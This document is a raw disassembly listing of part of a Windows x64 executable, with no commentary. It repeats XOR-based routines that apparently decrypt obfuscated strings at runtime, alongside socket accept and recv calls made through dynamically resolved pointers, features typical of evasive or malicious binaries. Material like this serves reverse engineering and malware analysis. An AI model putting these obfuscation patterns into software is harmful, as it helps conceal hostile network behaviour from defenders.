movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140027fa0
cmp r8d, 0x5c
jge 0x1400280f3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x1400280c0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x1400282b3
mov r8d, edi
cmp ebx, 2
jl 0x14002826d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140028160
cmp r8d, 0x5c
jge 0x1400282b3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140028280
cmp byte [rbp + 0x97], 0
jne 0x140028413
cmp ebx, 2
jl 0x1400283d5
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140028413
lea r9, [rbp + 0x90]
mov r8d, edi
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400283e0
call fcn.140039b70
mov rbx, rax
movzx ecx, word [0x14098200c]
mov word [rbp + 0x88], cx
cmp byte [0x14098200d], 0
je 0x140028440
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
call fcn.140035ac0
test r13, r13
je 0x140028486
test r12, r12
je 0x140028486
mov qword [rsp + 0x30], rdi
lea rdx, [r13 + 0x80]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
mov r9d, Ordinal_50
mov r8, rsi
mov rcx, rax
call fcn.140047c70
cmp dword [rsi], 2
je 0x1400284d3
call fcn.140039860
mov rbx, rax
movzx ecx, word [0x140982918]
mov word [rbp + 0x88], cx
cmp byte [0x140982919], 0
je 0x1400284b8
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
cmp dword [rsi], 2
jne 0x140027d20
jmp 0x140028504
mov dword [r14 + 0x18], 0x5e832c9
call fcn.140039860
mov ecx, 0xbb8
call rax
cmp byte [r14 + 0x128], 0
je 0x1400284fb
mov rcx, r14
call fcn.1400223d0
jmp 0x140028504
call fcn.140039b70
xor ecx, ecx
call rax
call fcn.14003b700
mov rcx, r15
call rax
test eax, eax
jne 0x140028bfc
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140982010]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140982020]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140982030]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140982040]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140982050]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140982060]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140982068]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r11, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [rbp + 0x97], 0
je 0x140028703
cmp ebx, 2
jl 0x1400286bd
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140028703
lea r9, [rbp + 0x90]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400286d0
cmp byte [rbp + 0x14b], 0
je 0x1400288a3
mov r8d, edi
cmp ebx, 2
jl 0x14002885d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140028750
cmp r8d, 0x5c
jge 0x1400288a3
movsxd rax, r8d
lea r10, [rbp + 0xf0]
add r10, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r10], al
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0x5c
jl 0x140028870
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r11
cmp byte [rbp + 0x14b], 0
jne 0x140028a63
mov r8d, edi
cmp ebx, 2
jl 0x140028a1d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140028910
cmp r8d, 0x5c
jge 0x140028a63
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140028a30
cmp byte [rbp + 0x97], 0
jne 0x140028bbf
cmp ebx, 2
jl 0x140028b85
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140028bbf
lea r8, [rbp + 0x90]
nop dword [rax]
mov eax, 0x8d3dcb09
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, dil
sub al, cl
add al, 0x37
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 8
jl 0x140028b90
call fcn.140039b70
mov rbx, rax
movzx ecx, word [0x14098200c]
mov word [rbp + 0x88], cx
cmp byte [0x14098200d], 0
je 0x140028bec
mov byte [rbp + 0x88], Ordinal_50
xor byte [rbp + 0x89], 0x38
lea rcx, [rbp + 0x88]
call fcn.1401753dc
mov ecx, eax
call rbx
mov rdx, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x58]
test rdx, rdx
je 0x140028c20
cmp qword [rbp + 0xd0], 0
je 0x140028c20
xor r8d, r8d
mov rcx, rbx
call fcn.140047f60
test r13, r13
je 0x140028c38
test r12, r12
je 0x140028c38
xor r8d, r8d
mov rdx, r13
mov rcx, rbx
call fcn.140047f60
call fcn.140039b70
movzx ecx, word [0x14098200c]
cmp byte [0x14098200d], 0
jmp 0x140029312
mov byte [0x1409f5ac8], 1
movups xmm0, xmmword [0x140981f10]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [0x140981f20]
movups xmmword [rbp + 0x100], xmm1
movups xmm0, xmmword [0x140981f30]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [0x140981f40]
movups xmmword [rbp + 0x120], xmm1
movups xmm0, xmmword [0x140981f50]
movups xmmword [rbp + 0x130], xmm0
movsd xmm0, qword [0x140981f60]
movsd qword [rbp + 0x140], xmm0
mov eax, dword [0x140981f68]
mov dword [rbp + 0x148], eax
mov rax, qword [str.DYWYSE_]
mov qword [rbp + 0x90], rax
call fcn.14003c030
mov r10, rax
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp byte [rbp + 0x97], 0
je 0x140028e43
cmp ebx, 2
jl 0x140028df7
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x140028e43
lea r9, [rbp + 0x90]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140028e10
cmp byte [rbp + 0x14b], 0
je 0x140028fe3
mov r8d, edi
cmp ebx, 2
jl 0x140028f9d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140028e90
cmp r8d, 0x5c
jge 0x140028fe3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140028fb0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x90]
lea rdx, [rbp + 0xf0]
xor ecx, ecx
call r10
cmp byte [rbp + 0x14b], 0
jne 0x1400291a3
mov r8d, edi
cmp ebx, 2
jl 0x14002915d
movdqa xmm5, xmmword [0x140986240]
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm6, xmmword [0x1409862d0]
movdqa xmm0, xmmword [0x140986430]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rbp + 0xf0]
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x140029050
cmp r8d, 0x5c
jge 0x1400291a3
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x5c
jl 0x140029170
cmp byte [rbp + 0x97], 0
jne 0x1400292ff
cmp ebx, 2
jl 0x1400292c5
movdqa xmm4, xmmword [0x1409865e0]
movdqa xmm2, xmmword [0x140986240]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
mov eax, dword [0x140986430]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x90]
xorps xmm2, xmm1
movd dword [rbp + 0x90], xmm2
movdqa xmm3, xmmword [0x140986290]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1409862d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140986360]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x94]
xorps xmm2, xmm1
movd dword [rbp + 0x94], xmm2
jmp 0x1400292ff
lea r8, [rbp + 0x90]
nop dword [rax]
